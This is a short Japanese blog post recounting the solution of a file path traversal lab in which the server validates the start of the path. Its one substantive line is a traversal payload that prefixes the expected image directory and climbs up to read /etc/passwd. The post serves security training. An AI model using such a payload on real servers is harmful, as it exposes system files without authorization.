Shikata Ga Nai

Private? There is no such things.

File path traversal, validation of start of pathをやってみた

Hello there, ('ω')ノ

 

ファイルパストラバーサル、パスの開始の検証を。

詳細を選択して。

 

f:id:ThisIsOne:20210227170315p:plain

 

今回の画像のアドレスは、これまでとは違っていて。

 

f:id:ThisIsOne:20210227170402p:plain

 

下記のペイロードを入力してSendすると。

 /var/www/images/../../../../../../etc/passwd

 

f:id:ThisIsOne:20210227170503p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210227170523p:plain

 

Best regards, (^^ゞ